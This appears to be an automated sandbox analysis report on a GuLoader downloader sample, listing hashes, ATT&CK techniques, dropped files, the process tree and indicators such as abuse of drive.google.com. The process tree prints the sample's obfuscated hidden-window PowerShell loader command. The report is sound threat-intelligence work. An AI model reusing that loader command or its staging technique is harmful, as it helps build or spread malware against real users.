guloader | 60f7c2d61a09e10204c2c6b359f2d87f3714ebff676a92d38da0af160c738690

Analysis

max time kernel
145s
max time network
154s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
07-11-2024 02:30

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General

Target

60f7c2d61a09e10204c2c6b359f2d87f3714ebff676a92d38da0af160c738690.exe
Size

836KB
MD5

2b89f539fc49781f2fc6d8debf491c90
SHA1

227e1d6ff55aac9d09a30050cbe7acabd6df2968
SHA256

60f7c2d61a09e10204c2c6b359f2d87f3714ebff676a92d38da0af160c738690
SHA512

bd8a5af726503b17ec860745a4adf39c85c4be92a7c4e545318538bbc52e0f3052d207fe600e5d88cb8a04256867bcb4ae6d541518ed3136afe7c5ce2ae2de02
SSDEEP

24576:OXhejYBQ1sKjVdXgf9lHWstDV8ScB0RpVCg5Ev7ixMmJ:CtKjV6f9lHltDVbcmPoixr

Score

10^/10

guloader discovery downloader execution

Malware Config

Signatures

Guloader family
guloader
Guloader,Cloudeye
A shellcode based downloader first seen in 2020.
downloader guloader
Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
execution

PowerShell
T1059.001

Processes:

powershell.exe

pid process

1472 powershell.exe
Loads dropped DLL 1 IoCs

Processes:

Auktionslederen.exe

pid process

1608 Auktionslederen.exe
Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service
T1102

Processes:

flow ioc

19 drive.google.com
20 drive.google.com
Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

Processes:

powershell.exeAuktionslederen.exe

pid process

1472 powershell.exe
1608 Auktionslederen.exe

pid	process
1608	Auktionslederen.exe

flow	ioc
19	drive.google.com
20	drive.google.com

Drops file in Program Files directory 2 IoCs

Processes:

60f7c2d61a09e10204c2c6b359f2d87f3714ebff676a92d38da0af160c738690.exe

description	ioc	process
File created	C:\Program Files (x86)\Common Files\chagrinets.lnk	60f7c2d61a09e10204c2c6b359f2d87f3714ebff676a92d38da0af160c738690.exe
File opened for modification	C:\Program Files (x86)\Common Files\chagrinets.lnk	60f7c2d61a09e10204c2c6b359f2d87f3714ebff676a92d38da0af160c738690.exe

Drops file in Windows directory 1 IoCs

Processes:

60f7c2d61a09e10204c2c6b359f2d87f3714ebff676a92d38da0af160c738690.exe

description	ioc	process
File opened for modification	C:\Windows\resources\0409\delarbejders\inhabilitetssprgsmaalene.ini	60f7c2d61a09e10204c2c6b359f2d87f3714ebff676a92d38da0af160c738690.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

Processes:

60f7c2d61a09e10204c2c6b359f2d87f3714ebff676a92d38da0af160c738690.exepowershell.exeAuktionslederen.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	60f7c2d61a09e10204c2c6b359f2d87f3714ebff676a92d38da0af160c738690.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Auktionslederen.exe

NSIS installer 2 IoCs

installer

Processes:

resource	yara_rule
C:\Users\Admin\AppData\Local\Temp\Auktionslederen.exe	nsis_installer_1
C:\Users\Admin\AppData\Local\Temp\Auktionslederen.exe	nsis_installer_2

Suspicious behavior: EnumeratesProcesses 9 IoCs

Processes:

powershell.exe

pid	process
1472	powershell.exe
1472	powershell.exe
1472	powershell.exe
1472	powershell.exe
1472	powershell.exe
1472	powershell.exe
1472	powershell.exe
1472	powershell.exe
1472	powershell.exe

Suspicious behavior: MapViewOfSection 1 IoCs

Processes:

powershell.exe

pid process

1472 powershell.exe

Suspicious use of AdjustPrivilegeToken 22 IoCs

Processes:

powershell.exe

description	pid	process
Token: SeDebugPrivilege	1472	powershell.exe
Token: SeIncreaseQuotaPrivilege	1472	powershell.exe
Token: SeSecurityPrivilege	1472	powershell.exe
Token: SeTakeOwnershipPrivilege	1472	powershell.exe
Token: SeLoadDriverPrivilege	1472	powershell.exe
Token: SeSystemProfilePrivilege	1472	powershell.exe
Token: SeSystemtimePrivilege	1472	powershell.exe
Token: SeProfSingleProcessPrivilege	1472	powershell.exe
Token: SeIncBasePriorityPrivilege	1472	powershell.exe
Token: SeCreatePagefilePrivilege	1472	powershell.exe
Token: SeBackupPrivilege	1472	powershell.exe
Token: SeRestorePrivilege	1472	powershell.exe
Token: SeShutdownPrivilege	1472	powershell.exe
Token: SeDebugPrivilege	1472	powershell.exe
Token: SeSystemEnvironmentPrivilege	1472	powershell.exe
Token: SeRemoteShutdownPrivilege	1472	powershell.exe
Token: SeUndockPrivilege	1472	powershell.exe
Token: SeManageVolumePrivilege	1472	powershell.exe
Token: 33	1472	powershell.exe
Token: 34	1472	powershell.exe
Token: 35	1472	powershell.exe
Token: 36	1472	powershell.exe

Suspicious use of WriteProcessMemory 7 IoCs

Processes:

60f7c2d61a09e10204c2c6b359f2d87f3714ebff676a92d38da0af160c738690.exepowershell.exe

description	pid	process	target process
PID 3232 wrote to memory of 1472	3232	60f7c2d61a09e10204c2c6b359f2d87f3714ebff676a92d38da0af160c738690.exe	powershell.exe
PID 3232 wrote to memory of 1472	3232	60f7c2d61a09e10204c2c6b359f2d87f3714ebff676a92d38da0af160c738690.exe	powershell.exe
PID 3232 wrote to memory of 1472	3232	60f7c2d61a09e10204c2c6b359f2d87f3714ebff676a92d38da0af160c738690.exe	powershell.exe
PID 1472 wrote to memory of 1608	1472	powershell.exe	Auktionslederen.exe
PID 1472 wrote to memory of 1608	1472	powershell.exe	Auktionslederen.exe
PID 1472 wrote to memory of 1608	1472	powershell.exe	Auktionslederen.exe
PID 1472 wrote to memory of 1608	1472	powershell.exe	Auktionslederen.exe

C:\Users\Admin\AppData\Local\Temp\60f7c2d61a09e10204c2c6b359f2d87f3714ebff676a92d38da0af160c738690.exe
"C:\Users\Admin\AppData\Local\Temp\60f7c2d61a09e10204c2c6b359f2d87f3714ebff676a92d38da0af160c738690.exe"
1⤵
- Drops file in Program Files directory
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:3232
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -w hidden "$Ungorgeous=Get-Content -raw 'C:\Users\Admin\AppData\Local\vareindkbet\bodements\quickies\Laryngectomize\Listeprisernes.Fak';$Sierran=$Ungorgeous.SubString(54789,3);.$Sierran($Ungorgeous)
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: MapViewOfSection
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1472
- - C:\Users\Admin\AppData\Local\Temp\Auktionslederen.exe
    "C:\Users\Admin\AppData\Local\Temp\Auktionslederen.exe"
    3⤵
    - Loads dropped DLL
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - System Location Discovery: System Language Discovery
    PID:1608

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Program Files (x86)\Common Files\chagrinets.lnk

Filesize
960B

MD5
ec6ff37f3b4dbaea395ebf77c1364e4e

SHA1
ecf7dccfe476061aa298ec728e6a03d7e4521a9c

SHA256
85d890414c18126bad17f1ea51cbd81a88bf67ebc25c731f7e478cdfec8ce9c8

SHA512
b1003c867a54ce887314ff1d86c083e67759143eeacc3fdb2b0082aff35f0394e3f0d7a92a04ac7ca2dda8c3faf7aad4adaffc3f5c953accc031239c70f76629

Download Submit
C:\Users\Admin\AppData\Local\Temp\Auktionslederen.exe

Filesize
836KB

MD5
2b89f539fc49781f2fc6d8debf491c90

SHA1
227e1d6ff55aac9d09a30050cbe7acabd6df2968

SHA256
60f7c2d61a09e10204c2c6b359f2d87f3714ebff676a92d38da0af160c738690

SHA512
bd8a5af726503b17ec860745a4adf39c85c4be92a7c4e545318538bbc52e0f3052d207fe600e5d88cb8a04256867bcb4ae6d541518ed3136afe7c5ce2ae2de02

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_2vtrdnvx.bjj.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\vareindkbet\bodements\quickies\Laryngectomize\Listeprisernes.Fak

Filesize
53KB

MD5
e4f72073cc7b121ef1e77875b5c3aa40

SHA1
eb3ace1b3dd416dbcdec1ae6a1ee3d20227ae6fd

SHA256
0a8ab46fd80e222c9f3e2ec4cf38c67ae7adf4f09e40709bbba2c2e3ee785f43

SHA512
662b9d35f71c99eea7187332363de7d6ea3ab54e1e6b0800f2162b6984949fdf7bebecf26d8db89a9438e532a2d2229a5110b201d814a1853d851f229065306a

Download Submit
C:\Users\Admin\AppData\Local\vareindkbet\bodements\quickies\forsknnendes.tri

Filesize
204KB

MD5
3f8c986efc0c25642797068ec56320dc

SHA1
f781efdca141d96eb6163d963f2a72a35fc64f4d

SHA256
05d699c35dd1118abe3175121c09fc653d03780944ffecd3e9c77b7dfa1bd00f

SHA512
0181b609fd76322daf4c937b1b01233ddac229b29a6efe5b0688b1df913ad92fe41dc12d9321d3626f8dcf728f11032a6ca9e04996c22adaa344b277d06fcd8a

Download Submit
memory/1472-210-0x00000000079B0000-0x00000000079CE000-memory.dmp

Filesize
120KB

Download
memory/1472-212-0x0000000073B10000-0x00000000742C0000-memory.dmp

Filesize
7.7MB

Download
memory/1472-178-0x0000000005F60000-0x0000000005FC6000-memory.dmp

Filesize
408KB

Download
memory/1472-176-0x00000000057D0000-0x00000000057F2000-memory.dmp

Filesize
136KB

Download
memory/1472-188-0x00000000060D0000-0x0000000006424000-memory.dmp

Filesize
3.3MB

Download
memory/1472-189-0x0000000006590000-0x00000000065AE000-memory.dmp

Filesize
120KB

Download
memory/1472-190-0x00000000065D0000-0x000000000661C000-memory.dmp

Filesize
304KB

Download
memory/1472-191-0x0000000007560000-0x00000000075F6000-memory.dmp

Filesize
600KB

Download
memory/1472-192-0x0000000006A90000-0x0000000006AAA000-memory.dmp

Filesize
104KB

Download
memory/1472-193-0x0000000006AE0000-0x0000000006B02000-memory.dmp

Filesize
136KB

Download
memory/1472-194-0x0000000007BE0000-0x0000000008184000-memory.dmp

Filesize
5.6MB

Download
memory/1472-175-0x0000000005930000-0x0000000005F58000-memory.dmp

Filesize
6.2MB

Download
memory/1472-196-0x0000000008810000-0x0000000008E8A000-memory.dmp

Filesize
6.5MB

Download
memory/1472-199-0x000000006FFA0000-0x000000006FFEC000-memory.dmp

Filesize
304KB

Download
memory/1472-198-0x0000000073B10000-0x00000000742C0000-memory.dmp

Filesize
7.7MB

Download
memory/1472-197-0x00000000079D0000-0x0000000007A02000-memory.dmp

Filesize
200KB

Download
memory/1472-200-0x0000000070100000-0x0000000070454000-memory.dmp

Filesize
3.3MB

Download
memory/1472-174-0x0000000073B10000-0x00000000742C0000-memory.dmp

Filesize
7.7MB

Download
memory/1472-211-0x0000000007A20000-0x0000000007AC3000-memory.dmp

Filesize
652KB

Download
memory/1472-177-0x0000000005870000-0x00000000058D6000-memory.dmp

Filesize
408KB

Download
memory/1472-213-0x0000000007B40000-0x0000000007B4A000-memory.dmp

Filesize
40KB

Download
memory/1472-214-0x0000000007B90000-0x0000000007BBA000-memory.dmp

Filesize
168KB

Download
memory/1472-215-0x00000000082D0000-0x00000000082F4000-memory.dmp

Filesize
144KB

Download
memory/1472-216-0x0000000073B10000-0x00000000742C0000-memory.dmp

Filesize
7.7MB

Download
memory/1472-218-0x0000000073B10000-0x00000000742C0000-memory.dmp

Filesize
7.7MB

Download
memory/1472-173-0x0000000002C50000-0x0000000002C86000-memory.dmp

Filesize
216KB

Download
memory/1472-220-0x0000000073B1E000-0x0000000073B1F000-memory.dmp

Filesize
4KB

Download
memory/1472-221-0x0000000073B10000-0x00000000742C0000-memory.dmp

Filesize
7.7MB

Download
memory/1472-222-0x0000000073B10000-0x00000000742C0000-memory.dmp

Filesize
7.7MB

Download
memory/1472-223-0x0000000008E90000-0x0000000009DF0000-memory.dmp

Filesize
15.4MB

Download
memory/1472-224-0x0000000073B10000-0x00000000742C0000-memory.dmp

Filesize
7.7MB

Download
memory/1472-225-0x0000000073B10000-0x00000000742C0000-memory.dmp

Filesize
7.7MB

Download
memory/1472-226-0x0000000073B10000-0x00000000742C0000-memory.dmp

Filesize
7.7MB

Download
memory/1472-228-0x0000000073B10000-0x00000000742C0000-memory.dmp

Filesize
7.7MB

Download
memory/1472-172-0x0000000073B1E000-0x0000000073B1F000-memory.dmp

Filesize
4KB

Download
memory/1608-230-0x0000000000400000-0x0000000001654000-memory.dmp

Filesize
18.3MB

Download
memory/1608-231-0x0000000001660000-0x00000000025C0000-memory.dmp

Filesize
15.4MB

Download
memory/1608-245-0x0000000001660000-0x00000000025C0000-memory.dmp

Filesize
15.4MB

Download
memory/1608-244-0x0000000000400000-0x0000000001654000-memory.dmp

Filesize
18.3MB

Download